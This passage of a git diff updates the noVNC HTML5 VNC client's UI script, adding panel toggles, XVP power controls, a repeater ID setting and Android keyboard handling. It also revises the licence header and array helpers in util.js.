+ UI.xvpOpen = true;
+ }
+ },
- //Toggle Connection Panel
- if (UI.connSettingsOpen === true) {
- $D('noVNC_controls').style.display = "none";
- $D('connectButton').className = "noVNC_status_button";
- UI.connSettingsOpen = false;
- } else {
- $D('noVNC_controls').style.display = "block";
- $D('connectButton').className = "noVNC_status_button_selected";
- UI.connSettingsOpen = true;
- $D('noVNC_host').focus();
- }
-},
+ // Show the clipboard panel
+ toggleClipboardPanel: function() {
+ // Close the description panel
+ $D('noVNC_description').style.display = "none";
+ // Close settings if open
+ if (UI.settingsOpen === true) {
+ UI.settingsApply();
+ UI.closeSettingsMenu();
+ }
+ // Close connection settings if open
+ if (UI.connSettingsOpen === true) {
+ UI.toggleConnectPanel();
+ }
+ // Close popup status panel if open
+ if (UI.popupStatusOpen === true) {
+ UI.togglePopupStatusPanel();
+ }
+ // Close XVP panel if open
+ if (UI.xvpOpen === true) {
+ UI.toggleXvpPanel();
+ }
+ // Toggle Clipboard Panel
+ if (UI.clipboardOpen === true) {
+ $D('noVNC_clipboard').style.display = "none";
+ $D('clipboardButton').className = "noVNC_status_button";
+ UI.clipboardOpen = false;
+ } else {
+ $D('noVNC_clipboard').style.display = "block";
+ $D('clipboardButton').className = "noVNC_status_button_selected";
+ UI.clipboardOpen = true;
+ }
+ },
-// Toggle the settings menu:
-// On open, settings are refreshed from saved cookies.
-// On close, settings are applied
-toggleSettingsPanel: function() {
- // Close the description panel
- $D('noVNC_description').style.display = "none";
- if (UI.settingsOpen) {
- UI.settingsApply();
- UI.closeSettingsMenu();
- } else {
- UI.updateSetting('encrypt');
- UI.updateSetting('true_color');
- if (UI.rfb.get_display().get_cursor_uri()) {
- UI.updateSetting('cursor');
- } else {
- UI.updateSetting('cursor', false);
- $D('noVNC_cursor').disabled = true;
- }
- UI.updateSetting('clip');
- UI.updateSetting('shared');
- UI.updateSetting('view_only');
- UI.updateSetting('connectTimeout');
- UI.updateSetting('path');
- UI.updateSetting('stylesheet');
- UI.updateSetting('logging');
+ // Show the connection settings panel/menu
+ toggleConnectPanel: function() {
+ // Close the description panel
+ $D('noVNC_description').style.display = "none";
+ // Close connection settings if open
+ if (UI.settingsOpen === true) {
+ UI.settingsApply();
+ UI.closeSettingsMenu();
+ $D('connectButton').className = "noVNC_status_button";
+ }
+ // Close clipboard panel if open
+ if (UI.clipboardOpen === true) {
+ UI.toggleClipboardPanel();
+ }
+ // Close popup status panel if open
+ if (UI.popupStatusOpen === true) {
+ UI.togglePopupStatusPanel();
+ }
+ // Close XVP panel if open
+ if (UI.xvpOpen === true) {
+ UI.toggleXvpPanel();
+ }
- UI.openSettingsMenu();
- }
-},
+ // Toggle Connection Panel
+ if (UI.connSettingsOpen === true) {
+ $D('noVNC_controls').style.display = "none";
+ $D('connectButton').className = "noVNC_status_button";
+ UI.connSettingsOpen = false;
+ UI.saveSetting('host');
+ UI.saveSetting('port');
+ //UI.saveSetting('password');
+ } else {
+ $D('noVNC_controls').style.display = "block";
+ $D('connectButton').className = "noVNC_status_button_selected";
+ UI.connSettingsOpen = true;
+ $D('noVNC_host').focus();
+ }
+ },
-// Open menu
-openSettingsMenu: function() {
- // Close the description panel
- $D('noVNC_description').style.display = "none";
- if (UI.clipboardOpen === true) {
- UI.toggleClipboardPanel();
- }
- //Close connection settings if open
- if (UI.connSettingsOpen === true) {
- UI.toggleConnectPanel();
- }
- $D('noVNC_settings').style.display = "block";
- $D('settingsButton').className = "noVNC_status_button_selected";
- UI.settingsOpen = true;
-},
+ // Toggle the settings menu:
+ // On open, settings are refreshed from saved cookies.
+ // On close, settings are applied
+ toggleSettingsPanel: function() {
+ // Close the description panel
+ $D('noVNC_description').style.display = "none";
+ if (UI.settingsOpen) {
+ UI.settingsApply();
+ UI.closeSettingsMenu();
+ } else {
+ UI.updateSetting('encrypt');
+ UI.updateSetting('true_color');
+ if (UI.rfb.get_display().get_cursor_uri()) {
+ UI.updateSetting('cursor');
+ } else {
+ UI.updateSetting('cursor', !UI.isTouchDevice);
+ $D('noVNC_cursor').disabled = true;
+ }
+ UI.updateSetting('clip');
+ UI.updateSetting('shared');
+ UI.updateSetting('view_only');
+ UI.updateSetting('path');
+ UI.updateSetting('repeaterID');
+ UI.updateSetting('stylesheet');
+ UI.updateSetting('logging');
-// Close menu (without applying settings)
-closeSettingsMenu: function() {
- $D('noVNC_settings').style.display = "none";
- $D('settingsButton').className = "noVNC_status_button";
- UI.settingsOpen = false;
-},
+ UI.openSettingsMenu();
+ }
+ },
-// Save/apply settings when 'Apply' button is pressed
-settingsApply: function() {
- //Util.Debug(">> settingsApply");
- UI.saveSetting('encrypt');
- UI.saveSetting('true_color');
- if (UI.rfb.get_display().get_cursor_uri()) {
- UI.saveSetting('cursor');
- }
- UI.saveSetting('clip');
- UI.saveSetting('shared');
- UI.saveSetting('view_only');
- UI.saveSetting('connectTimeout');
- UI.saveSetting('path');
- UI.saveSetting('stylesheet');
- UI.saveSetting('logging');
+ // Open menu
+ openSettingsMenu: function() {
+ // Close the description panel
+ $D('noVNC_description').style.display = "none";
+ // Close clipboard panel if open
+ if (UI.clipboardOpen === true) {
+ UI.toggleClipboardPanel();
+ }
+ // Close connection settings if open
+ if (UI.connSettingsOpen === true) {
+ UI.toggleConnectPanel();
+ }
+ // Close popup status panel if open
+ if (UI.popupStatusOpen === true) {
+ UI.togglePopupStatusPanel();
+ }
+ // Close XVP panel if open
+ if (UI.xvpOpen === true) {
+ UI.toggleXvpPanel();
+ }
+ $D('noVNC_settings').style.display = "block";
+ $D('settingsButton').className = "noVNC_status_button_selected";
+ UI.settingsOpen = true;
+ },
- // Settings with immediate (non-connected related) effect
- WebUtil.selectStylesheet(UI.getSetting('stylesheet'));
- WebUtil.init_logging(UI.getSetting('logging'));
- UI.setViewClip();
- UI.setViewDrag(UI.rfb.get_viewportDrag());
- //Util.Debug("<< settingsApply");
-},
+ // Close menu (without applying settings)
+ closeSettingsMenu: function() {
+ $D('noVNC_settings').style.display = "none";
+ $D('settingsButton').className = "noVNC_status_button";
+ UI.settingsOpen = false;
+ },
+
+ // Save/apply settings when 'Apply' button is pressed
+ settingsApply: function() {
+ //Util.Debug(">> settingsApply");
+ UI.saveSetting('encrypt');
+ UI.saveSetting('true_color');
+ if (UI.rfb.get_display().get_cursor_uri()) {
+ UI.saveSetting('cursor');
+ }
+ UI.saveSetting('clip');
+ UI.saveSetting('shared');
+ UI.saveSetting('view_only');
+ UI.saveSetting('path');
+ UI.saveSetting('repeaterID');
+ UI.saveSetting('stylesheet');
+ UI.saveSetting('logging');
+
+ // Settings with immediate (non-connected related) effect
+ WebUtil.selectStylesheet(UI.getSetting('stylesheet'));
+ WebUtil.init_logging(UI.getSetting('logging'));
+ UI.setViewClip();
+ UI.setViewDrag(UI.rfb.get_viewportDrag());
+ //Util.Debug("<< settingsApply");
+ },
-setPassword: function() {
- UI.rfb.sendPassword($D('noVNC_password').value);
- //Reset connect button.
- $D('noVNC_connect_button').value = "Connect";
- $D('noVNC_connect_button').onclick = UI.Connect;
- //Hide connection panel.
- UI.toggleConnectPanel();
- return false;
-},
+ setPassword: function() {
+ UI.rfb.sendPassword($D('noVNC_password').value);
+ //Reset connect button.
+ $D('noVNC_connect_button').value = "Connect";
+ $D('noVNC_connect_button').onclick = UI.Connect;
+ //Hide connection panel.
+ UI.toggleConnectPanel();
+ return false;
+ },
-sendCtrlAltDel: function() {
- UI.rfb.sendCtrlAltDel();
-},
+ sendCtrlAltDel: function() {
+ UI.rfb.sendCtrlAltDel();
+ },
-setMouseButton: function(num) {
- var b, blist = [0, 1,2,4], button;
+ xvpShutdown: function() {
+ UI.rfb.xvpShutdown();
+ },
- if (typeof num === 'undefined') {
- // Disable mouse buttons
- num = -1;
- }
- if (UI.rfb) {
- UI.rfb.get_mouse().set_touchButton(num);
- }
+ xvpReboot: function() {
+ UI.rfb.xvpReboot();
+ },
- for (b = 0; b < blist.length; b++) {
- button = $D('noVNC_mouse_button' + blist[b]);
- if (blist[b] === num) {
- button.style.display = "";
- } else {
- button.style.display = "none";
- /*
- button.style.backgroundColor = "black";
- button.style.color = "lightgray";
- button.style.backgroundColor = "";
- button.style.color = "";
- */
- }
- }
-},
+ xvpReset: function() {
+ UI.rfb.xvpReset();
+ },
-updateState: function(rfb, state, oldstate, msg) {
- var s, sb, c, d, cad, vd, klass;
- UI.rfb_state = state;
- s = $D('noVNC_status');
- sb = $D('noVNC_status_bar');
- switch (state) {
- case 'failed':
- case 'fatal':
- klass = "noVNC_status_error";
- break;
- case 'normal':
- klass = "noVNC_status_normal";
- break;
- case 'disconnected':
- $D('noVNC_logo').style.display = "block";
- // Fall through
- case 'loaded':
- klass = "noVNC_status_normal";
- break;
- case 'password':
+ setMouseButton: function(num) {
+ if (typeof num === 'undefined') {
+ // Disable mouse buttons
+ num = -1;
+ }
+ if (UI.rfb) {
+ UI.rfb.get_mouse().set_touchButton(num);
+ }
+
+ var blist = [0, 1,2,4];
+ for (var b = 0; b < blist.length; b++) {
+ var button = $D('noVNC_mouse_button' + blist[b]);
+ if (blist[b] === num) {
+ button.style.display = "";
+ } else {
+ button.style.display = "none";
+ }
+ }
+ },
+
+ updateState: function(rfb, state, oldstate, msg) {
+ UI.rfb_state = state;
+ var klass;
+ switch (state) {
+ case 'failed':
+ case 'fatal':
+ klass = "noVNC_status_error";
+ break;
+ case 'normal':
+ klass = "noVNC_status_normal";
+ break;
+ case 'disconnected':
+ $D('noVNC_logo').style.display = "block";
+ /* falls through */
+ case 'loaded':
+ klass = "noVNC_status_normal";
+ break;
+ case 'password':
+ UI.toggleConnectPanel();
+
+ $D('noVNC_connect_button').value = "Send Password";
+ $D('noVNC_connect_button').onclick = UI.setPassword;
+ $D('noVNC_password').focus();
+
+ klass = "noVNC_status_warn";
+ break;
+ default:
+ klass = "noVNC_status_warn";
+ break;
+ }
+
+ if (typeof(msg) !== 'undefined') {
+ $D('noVNC-control-bar').setAttribute("class", klass);
+ $D('noVNC_status').innerHTML = msg;
+ }
+
+ UI.updateVisualState();
+ },
+
+ // Disable/enable controls depending on connection state
+ updateVisualState: function() {
+ var connected = UI.rfb_state === 'normal' ? true : false;
+
+ //Util.Debug(">> updateVisualState");
+ $D('noVNC_encrypt').disabled = connected;
+ $D('noVNC_true_color').disabled = connected;
+ if (UI.rfb && UI.rfb.get_display() &&
+ UI.rfb.get_display().get_cursor_uri()) {
+ $D('noVNC_cursor').disabled = connected;
+ } else {
+ UI.updateSetting('cursor', !UI.isTouchDevice);
+ $D('noVNC_cursor').disabled = true;
+ }
+ $D('noVNC_shared').disabled = connected;
+ $D('noVNC_view_only').disabled = connected;
+ $D('noVNC_path').disabled = connected;
+ $D('noVNC_repeaterID').disabled = connected;
+
+ if (connected) {
+ UI.setViewClip();
+ UI.setMouseButton(1);
+ $D('clipboardButton').style.display = "inline";
+ $D('showKeyboard').style.display = "inline";
+ $D('noVNC_extra_keys').style.display = "";
+ $D('sendCtrlAltDelButton').style.display = "inline";
+ } else {
+ UI.setMouseButton();
+ $D('clipboardButton').style.display = "none";
+ $D('showKeyboard').style.display = "none";
+ $D('noVNC_extra_keys').style.display = "none";
+ $D('sendCtrlAltDelButton').style.display = "none";
+ UI.updateXvpVisualState(0);
+ }
+
+ // State change disables viewport dragging.
+ // It is enabled (toggled) by direct click on the button
+ UI.setViewDrag(false);
+
+ switch (UI.rfb_state) {
+ case 'fatal':
+ case 'failed':
+ case 'loaded':
+ case 'disconnected':
+ $D('connectButton').style.display = "";
+ $D('disconnectButton').style.display = "none";
+ break;
+ default:
+ $D('connectButton').style.display = "none";
+ $D('disconnectButton').style.display = "";
+ break;
+ }
+
+ //Util.Debug("<< updateVisualState");
+ },
+
+ // Disable/enable XVP button
+ updateXvpVisualState: function(ver) {
+ if (ver >= 1) {
+ $D('xvpButton').style.display = 'inline';
+ } else {
+ $D('xvpButton').style.display = 'none';
+ // Close XVP panel if open
+ if (UI.xvpOpen === true) {
+ UI.toggleXvpPanel();
+ }
+ }
+ },
+
+ // Display the desktop name in the document title
+ updateDocumentTitle: function(rfb, name) {
+ document.title = name + " - noVNC";
+ },
+
+ clipReceive: function(rfb, text) {
+ Util.Debug(">> UI.clipReceive: " + text.substr(0,40) + "...");
+ $D('noVNC_clipboard_text').value = text;
+ Util.Debug("<< UI.clipReceive");
+ },
+
+ connect: function() {
+ UI.closeSettingsMenu();
UI.toggleConnectPanel();
- $D('noVNC_connect_button').value = "Send Password";
- $D('noVNC_connect_button').onclick = UI.setPassword;
- $D('noVNC_password').focus();
+ var host = $D('noVNC_host').value;
+ var port = $D('noVNC_port').value;
+ var password = $D('noVNC_password').value;
+ var path = $D('noVNC_path').value;
+ if ((!host) || (!port)) {
+ throw new Error("Must set host and port");
+ }
- klass = "noVNC_status_warn";
- break;
- default:
- klass = "noVNC_status_warn";
- break;
- }
+ UI.rfb.set_encrypt(UI.getSetting('encrypt'));
+ UI.rfb.set_true_color(UI.getSetting('true_color'));
+ UI.rfb.set_local_cursor(UI.getSetting('cursor'));
+ UI.rfb.set_shared(UI.getSetting('shared'));
+ UI.rfb.set_view_only(UI.getSetting('view_only'));
+ UI.rfb.set_repeaterID(UI.getSetting('repeaterID'));
- if (typeof(msg) !== 'undefined') {
- s.setAttribute("class", klass);
- sb.setAttribute("class", klass);
- s.innerHTML = msg;
- }
+ UI.rfb.connect(host, port, password, path);
- UI.updateVisualState();
-},
+ //Close dialog.
+ setTimeout(UI.setBarPosition, 100);
+ $D('noVNC_logo').style.display = "none";
+ },
-// Disable/enable controls depending on connection state
-updateVisualState: function() {
- var connected = UI.rfb_state === 'normal' ? true : false;
+ disconnect: function() {
+ UI.closeSettingsMenu();
+ UI.rfb.disconnect();
- //Util.Debug(">> updateVisualState");
- $D('noVNC_encrypt').disabled = connected;
- $D('noVNC_true_color').disabled = connected;
- if (UI.rfb && UI.rfb.get_display() &&
- UI.rfb.get_display().get_cursor_uri()) {
- $D('noVNC_cursor').disabled = connected;
- } else {
- UI.updateSetting('cursor', false);
- $D('noVNC_cursor').disabled = true;
- }
- $D('noVNC_shared').disabled = connected;
- $D('noVNC_view_only').disabled = connected;
- $D('noVNC_connectTimeout').disabled = connected;
- $D('noVNC_path').disabled = connected;
+ $D('noVNC_logo').style.display = "block";
+ UI.connSettingsOpen = false;
+ UI.toggleConnectPanel();
+ },
- if (connected) {
- UI.setViewClip();
- UI.setMouseButton(1);
- $D('clipboardButton').style.display = "inline";
- $D('showKeyboard').style.display = "inline";
- $D('sendCtrlAltDelButton').style.display = "inline";
- } else {
- UI.setMouseButton();
- $D('clipboardButton').style.display = "none";
- $D('showKeyboard').style.display = "none";
- $D('sendCtrlAltDelButton').style.display = "none";
- }
- // State change disables viewport dragging.
- // It is enabled (toggled) by direct click on the button
- UI.setViewDrag(false);
+ displayBlur: function() {
+ UI.rfb.get_keyboard().set_focused(false);
+ UI.rfb.get_mouse().set_focused(false);
+ },
- switch (UI.rfb_state) {
- case 'fatal':
- case 'failed':
- case 'loaded':
- case 'disconnected':
- $D('connectButton').style.display = "";
- $D('disconnectButton').style.display = "none";
- break;
- default:
- $D('connectButton').style.display = "none";
- $D('disconnectButton').style.display = "";
- break;
- }
+ displayFocus: function() {
+ UI.rfb.get_keyboard().set_focused(true);
+ UI.rfb.get_mouse().set_focused(true);
+ },
- //Util.Debug("<< updateVisualState");
-},
+ clipClear: function() {
+ $D('noVNC_clipboard_text').value = "";
+ UI.rfb.clipboardPasteFrom("");
+ },
+ clipSend: function() {
+ var text = $D('noVNC_clipboard_text').value;
+ Util.Debug(">> UI.clipSend: " + text.substr(0,40) + "...");
+ UI.rfb.clipboardPasteFrom(text);
+ Util.Debug("<< UI.clipSend");
+ },
-clipReceive: function(rfb, text) {
- Util.Debug(">> UI.clipReceive: " + text.substr(0,40) + "...");
- $D('noVNC_clipboard_text').value = text;
- Util.Debug("<< UI.clipReceive");
-},
+ // Enable/disable and configure viewport clipping
+ setViewClip: function(clip) {
+ var display;
+ if (UI.rfb) {
+ display = UI.rfb.get_display();
+ } else {
+ return;
+ }
+ var cur_clip = display.get_viewport();
-connect: function() {
- var host, port, password, path;
+ if (typeof(clip) !== 'boolean') {
+ // Use current setting
+ clip = UI.getSetting('clip');
+ }
- UI.closeSettingsMenu();
- UI.toggleConnectPanel();
+ if (clip && !cur_clip) {
+ // Turn clipping on
+ UI.updateSetting('clip', true);
+ } else if (!clip && cur_clip) {
+ // Turn clipping off
+ UI.updateSetting('clip', false);
+ display.set_viewport(false);
+ $D('noVNC_canvas').style.position = 'static';
+ display.viewportChange();
+ }
+ if (UI.getSetting('clip')) {
+ // If clipping, update clipping settings
+ $D('noVNC_canvas').style.position = 'absolute';
+ var pos = Util.getPosition($D('noVNC_canvas'));
+ var new_w = window.innerWidth - pos.x;
+ var new_h = window.innerHeight - pos.y;
+ display.set_viewport(true);
+ display.viewportChange(0, 0, new_w, new_h);
+ }
+ },
- host = $D('noVNC_host').value;
- port = $D('noVNC_port').value;
- password = $D('noVNC_password').value;
- path = $D('noVNC_path').value;
- if ((!host) || (!port)) {
- throw("Must set host and port");
- }
+ // Toggle/set/unset the viewport drag/move button
+ setViewDrag: function(drag) {
+ var vmb = $D('noVNC_view_drag_button');
+ if (!UI.rfb) { return; }
- UI.rfb.set_encrypt(UI.getSetting('encrypt'));
- UI.rfb.set_true_color(UI.getSetting('true_color'));
- UI.rfb.set_local_cursor(UI.getSetting('cursor'));
- UI.rfb.set_shared(UI.getSetting('shared'));
- UI.rfb.set_view_only(UI.getSetting('view_only'));
- UI.rfb.set_connectTimeout(UI.getSetting('connectTimeout'));
+ if (UI.rfb_state === 'normal' &&
+ UI.rfb.get_display().get_viewport()) {
+ vmb.style.display = "inline";
+ } else {
+ vmb.style.display = "none";
+ }
- UI.rfb.connect(host, port, password, path);
- //Close dialog.
- setTimeout(UI.setBarPosition, 100);
- $D('noVNC_logo').style.display = "none";
-},
+ if (typeof(drag) === "undefined" ||
+ typeof(drag) === "object") {
+ // If not specified, then toggle
+ drag = !UI.rfb.get_viewportDrag();
+ }
+ if (drag) {
+ vmb.className = "noVNC_status_button_selected";
+ UI.rfb.set_viewportDrag(true);
+ } else {
+ vmb.className = "noVNC_status_button";
+ UI.rfb.set_viewportDrag(false);
+ }
+ },
-disconnect: function() {
- UI.closeSettingsMenu();
- UI.rfb.disconnect();
+ // On touch devices, show the OS keyboard
+ showKeyboard: function() {
+ var kbi = $D('keyboardinput');
+ var skb = $D('showKeyboard');
+ var l = kbi.value.length;
+ if(UI.keyboardVisible === false) {
+ kbi.focus();
+ try { kbi.setSelectionRange(l, l); } // Move the caret to the end
+ catch (err) {} // setSelectionRange is undefined in Google Chrome
+ UI.keyboardVisible = true;
+ skb.className = "noVNC_status_button_selected";
+ } else if(UI.keyboardVisible === true) {
+ kbi.blur();
+ skb.className = "noVNC_status_button";
+ UI.keyboardVisible = false;
+ }
+ },
- $D('noVNC_logo').style.display = "block";
- UI.connSettingsOpen = false;
- UI.toggleConnectPanel();
-},
+ keepKeyboard: function() {
+ clearTimeout(UI.hideKeyboardTimeout);
+ if(UI.keyboardVisible === true) {
+ $D('keyboardinput').focus();
+ $D('showKeyboard').className = "noVNC_status_button_selected";
+ } else if(UI.keyboardVisible === false) {
+ $D('keyboardinput').blur();
+ $D('showKeyboard').className = "noVNC_status_button";
+ }
+ },
-displayBlur: function() {
- UI.rfb.get_keyboard().set_focused(false);
- UI.rfb.get_mouse().set_focused(false);
-},
+ keyboardinputReset: function() {
+ var kbi = $D('keyboardinput');
+ kbi.value = new Array(UI.defaultKeyboardinputLen).join("_");
+ UI.lastKeyboardinput = kbi.value;
+ },
-displayFocus: function() {
- UI.rfb.get_keyboard().set_focused(true);
- UI.rfb.get_mouse().set_focused(true);
-},
+ // When normal keyboard events are left uncought, use the input events from
+ // the keyboardinput element instead and generate the corresponding key events.
+ // This code is required since some browsers on Android are inconsistent in
+ // sending keyCodes in the normal keyboard events when using on screen keyboards.
+ keyInput: function(event) {
+ var newValue = event.target.value;
+ var oldValue = UI.lastKeyboardinput;
-clipClear: function() {
- $D('noVNC_clipboard_text').value = "";
- UI.rfb.clipboardPasteFrom("");
-},
+ var newLen;
+ try {
+ // Try to check caret position since whitespace at the end
+ // will not be considered by value.length in some browsers
+ newLen = Math.max(event.target.selectionStart, newValue.length);
+ } catch (err) {
+ // selectionStart is undefined in Google Chrome
+ newLen = newValue.length;
+ }
+ var oldLen = oldValue.length;
-clipSend: function() {
- var text = $D('noVNC_clipboard_text').value;
- Util.Debug(">> UI.clipSend: " + text.substr(0,40) + "...");
- UI.rfb.clipboardPasteFrom(text);
- Util.Debug("<< UI.clipSend");
-},
+ var backspaces;
+ var inputs = newLen - oldLen;
+ if (inputs < 0) {
+ backspaces = -inputs;
+ } else {
+ backspaces = 0;
+ }
+ // Compare the old string with the new to account for
+ // text-corrections or other input that modify existing text
+ var i;
+ for (i = 0; i < Math.min(oldLen, newLen); i++) {
+ if (newValue.charAt(i) != oldValue.charAt(i)) {
+ inputs = newLen - i;
+ backspaces = oldLen - i;
+ break;
+ }
+ }
-// Enable/disable and configure viewport clipping
-setViewClip: function(clip) {
- var display, cur_clip, pos, new_w, new_h;
+ // Send the key events
+ for (i = 0; i < backspaces; i++) {
+ UI.rfb.sendKey(XK_BackSpace);
+ }
+ for (i = newLen - inputs; i < newLen; i++) {
+ UI.rfb.sendKey(newValue.charCodeAt(i));
+ }
- if (UI.rfb) {
- display = UI.rfb.get_display();
- } else {
- return;
- }
+ // Control the text content length in the keyboardinput element
+ if (newLen > 2 * UI.defaultKeyboardinputLen) {
+ UI.keyboardinputReset();
+ } else if (newLen < 1) {
+ // There always have to be some text in the keyboardinput
+ // element with which backspace can interact.
+ UI.keyboardinputReset();
+ // This sometimes causes the keyboard to disappear for a second
+ // but it is required for the android keyboard to recognize that
+ // text has been added to the field
+ event.target.blur();
+ // This has to be ran outside of the input handler in order to work
+ setTimeout(function() { UI.keepKeyboard(); }, 0);
+ } else {
+ UI.lastKeyboardinput = newValue;
+ }
+ },
- cur_clip = display.get_viewport();
+ keyInputBlur: function() {
+ $D('showKeyboard').className = "noVNC_status_button";
+ //Weird bug in iOS if you change keyboardVisible
+ //here it does not actually occur so next time
+ //you click keyboard icon it doesnt work.
+ UI.hideKeyboardTimeout = setTimeout(function() { UI.setKeyboard(); },100);
+ },
- if (typeof(clip) !== 'boolean') {
- // Use current setting
- clip = UI.getSetting('clip');
- }
+ showExtraKeys: function() {
+ UI.keepKeyboard();
+ if(UI.extraKeysVisible === false) {
+ $D('toggleCtrlButton').style.display = "inline";
+ $D('toggleAltButton').style.display = "inline";
+ $D('sendTabButton').style.display = "inline";
+ $D('sendEscButton').style.display = "inline";
+ $D('showExtraKeysButton').className = "noVNC_status_button_selected";
+ UI.extraKeysVisible = true;
+ } else if(UI.extraKeysVisible === true) {
+ $D('toggleCtrlButton').style.display = "";
+ $D('toggleAltButton').style.display = "";
+ $D('sendTabButton').style.display = "";
+ $D('sendEscButton').style.display = "";
+ $D('showExtraKeysButton').className = "noVNC_status_button";
+ UI.extraKeysVisible = false;
+ }
+ },
- if (clip && !cur_clip) {
- // Turn clipping on
- UI.updateSetting('clip', true);
- } else if (!clip && cur_clip) {
- // Turn clipping off
- UI.updateSetting('clip', false);
- display.set_viewport(false);
- $D('noVNC_canvas').style.position = 'static';
- display.viewportChange();
- }
- if (UI.getSetting('clip')) {
- // If clipping, update clipping settings
- $D('noVNC_canvas').style.position = 'absolute';
- pos = Util.getPosition($D('noVNC_canvas'));
- new_w = window.innerWidth - pos.x;
- new_h = window.innerHeight - pos.y;
- display.set_viewport(true);
- display.viewportChange(0, 0, new_w, new_h);
- }
-},
+ toggleCtrl: function() {
+ UI.keepKeyboard();
+ if(UI.ctrlOn === false) {
+ UI.rfb.sendKey(XK_Control_L, true);
+ $D('toggleCtrlButton').className = "noVNC_status_button_selected";
+ UI.ctrlOn = true;
+ } else if(UI.ctrlOn === true) {
+ UI.rfb.sendKey(XK_Control_L, false);
+ $D('toggleCtrlButton').className = "noVNC_status_button";
+ UI.ctrlOn = false;
+ }
+ },
-// Toggle/set/unset the viewport drag/move button
-setViewDrag: function(drag) {
- var vmb = $D('noVNC_view_drag_button');
- if (!UI.rfb) { return; }
+ toggleAlt: function() {
+ UI.keepKeyboard();
+ if(UI.altOn === false) {
+ UI.rfb.sendKey(XK_Alt_L, true);
+ $D('toggleAltButton').className = "noVNC_status_button_selected";
+ UI.altOn = true;
+ } else if(UI.altOn === true) {
+ UI.rfb.sendKey(XK_Alt_L, false);
+ $D('toggleAltButton').className = "noVNC_status_button";
+ UI.altOn = false;
+ }
+ },
- if (UI.rfb_state === 'normal' &&
- UI.rfb.get_display().get_viewport()) {
- vmb.style.display = "inline";
- } else {
- vmb.style.display = "none";
- }
+ sendTab: function() {
+ UI.keepKeyboard();
+ UI.rfb.sendKey(XK_Tab);
+ },
- if (typeof(drag) === "undefined") {
- // If not specified, then toggle
- drag = !UI.rfb.get_viewportDrag();
- }
- if (drag) {
- vmb.className = "noVNC_status_button_selected";
- UI.rfb.set_viewportDrag(true);
- } else {
- vmb.className = "noVNC_status_button";
- UI.rfb.set_viewportDrag(false);
- }
-},
+ sendEsc: function() {
+ UI.keepKeyboard();
+ UI.rfb.sendKey(XK_Escape);
+ },
-// On touch devices, show the OS keyboard
-showKeyboard: function() {
- if(UI.keyboardVisible === false) {
- $D('keyboardinput').focus();
- UI.keyboardVisible = true;
- $D('showKeyboard').className = "noVNC_status_button_selected";
- } else if(UI.keyboardVisible === true) {
- $D('keyboardinput').blur();
- $D('showKeyboard').className = "noVNC_status_button";
- UI.keyboardVisible = false;
- }
-},
+ setKeyboard: function() {
+ UI.keyboardVisible = false;
+ },
-keyInputBlur: function() {
- $D('showKeyboard').className = "noVNC_status_button";
- //Weird bug in iOS if you change keyboardVisible
- //here it does not actually occur so next time
- //you click keyboard icon it doesnt work.
- setTimeout(function() { UI.setKeyboard(); },100);
-},
+ // iOS < Version 5 does not support position fixed. Javascript workaround:
+ setOnscroll: function() {
+ window.onscroll = function() {
+ UI.setBarPosition();
+ };
+ },
-setKeyboard: function() {
- UI.keyboardVisible = false;
-},
+ setResize: function () {
+ window.onResize = function() {
+ UI.setBarPosition();
+ };
+ },
-// iOS < Version 5 does not support position fixed. Javascript workaround:
-setOnscroll: function() {
- window.onscroll = function() {
- UI.setBarPosition();
+ //Helper to add options to dropdown.
+ addOption: function(selectbox, text, value) {
+ var optn = document.createElement("OPTION");
+ optn.text = text;
+ optn.value = value;
+ selectbox.options.add(optn);
+ },
+
+ setBarPosition: function() {
+ $D('noVNC-control-bar').style.top = (window.pageYOffset) + 'px';
+ $D('noVNC_mobile_buttons').style.left = (window.pageXOffset) + 'px';
+
+ var vncwidth = $D('noVNC_screen').style.offsetWidth;
+ $D('noVNC-control-bar').style.width = vncwidth + 'px';
+ }
+
};
-},
-
-setResize: function () {
- window.onResize = function() {
- UI.setBarPosition();
- };
-},
-
-//Helper to add options to dropdown.
-addOption: function(selectbox,text,value )
-{
- var optn = document.createElement("OPTION");
- optn.text = text;
- optn.value = value;
- selectbox.options.add(optn);
-},
-
-setBarPosition: function() {
- $D('noVNC-control-bar').style.top = (window.pageYOffset) + 'px';
- $D('noVNC_mobile_buttons').style.left = (window.pageXOffset) + 'px';
-
- var vncwidth = $D('noVNC_screen').style.offsetWidth;
- $D('noVNC-control-bar').style.width = vncwidth + 'px';
-}
-
-};
-
-
-
-
+})();
diff --git a/webclients/novnc/include/util.js b/webclients/novnc/include/util.js
index ddc1914..909d04b 100644
--- a/webclients/novnc/include/util.js
+++ b/webclients/novnc/include/util.js
@@ -1,14 +1,13 @@
/*
* noVNC: HTML5 VNC client
- * Copyright (C) 2011 Joel Martin
- * Licensed under LGPL-3 (see LICENSE.txt)
+ * Copyright (C) 2012 Joel Martin
+ * Licensed under MPL 2.0 (see LICENSE.txt)
*
* See README.md for usage and integration instructions.
*/
-"use strict";
-/*jslint bitwise: false, white: false */
-/*global window, console, document, navigator, ActiveXObject */
+/* jshint white: false, nonstandard: true */
+/*global window, console, document, navigator, ActiveXObject, INCLUDE_URI */
// Globals defined here
var Util = {};
@@ -18,46 +17,163 @@
* Make arrays quack
*/
-Array.prototype.push8 = function (num) {
- this.push(num & 0xFF);
+var addFunc = function (cl, name, func) {
+ if (!cl.prototype[name]) {
+ Object.defineProperty(cl.prototype, name, { enumerable: false, value: func });
+ }
};
-Array.prototype.push16 = function (num) {
+addFunc(Array, 'push8', function (num) {
+ "use strict";
+ this.push(num & 0xFF);
+});
+
+addFunc(Array, 'push16', function (num) {
+ "use strict";
this.push((num >> 8) & 0xFF,
- (num ) & 0xFF );
-};
-Array.prototype.push32 = function (num) {
+ num & 0xFF);
+});
+
+addFunc(Array, 'push32', function (num) {
+ "use strict";
this.push((num >> 24) & 0xFF,
(num >> 16) & 0xFF,
(num >> 8) & 0xFF,
- (num ) & 0xFF );
-};
+ num & 0xFF);
+});
// IE does not support map (even in IE9)
//This prototype is provided by the Mozilla foundation and
//is distributed under the MIT license.
//http://www.ibiblio.org/pub/Linux/LICENSES/mit.license
-if (!Array.prototype.map)
-{
- Array.prototype.map = function(fun /*, thisp*/)
- {
+addFunc(Array, 'map', function (fun /*, thisp*/) {
+ "use strict";
var len = this.length;
- if (typeof fun != "function")
- throw new TypeError();
+ if (typeof fun != "function") {
+ throw new TypeError();
+ }
var res = new Array(len);
var thisp = arguments[1];
- for (var i = 0; i < len; i++)
- {
- if (i in this)
- res[i] = fun.call(thisp, this[i], i, this);
+ for (var i = 0; i < len; i++) {
+ if (i in this) {
+ res[i] = fun.call(thisp, this[i], i, this);
+ }
}
return res;
- };
+});
+
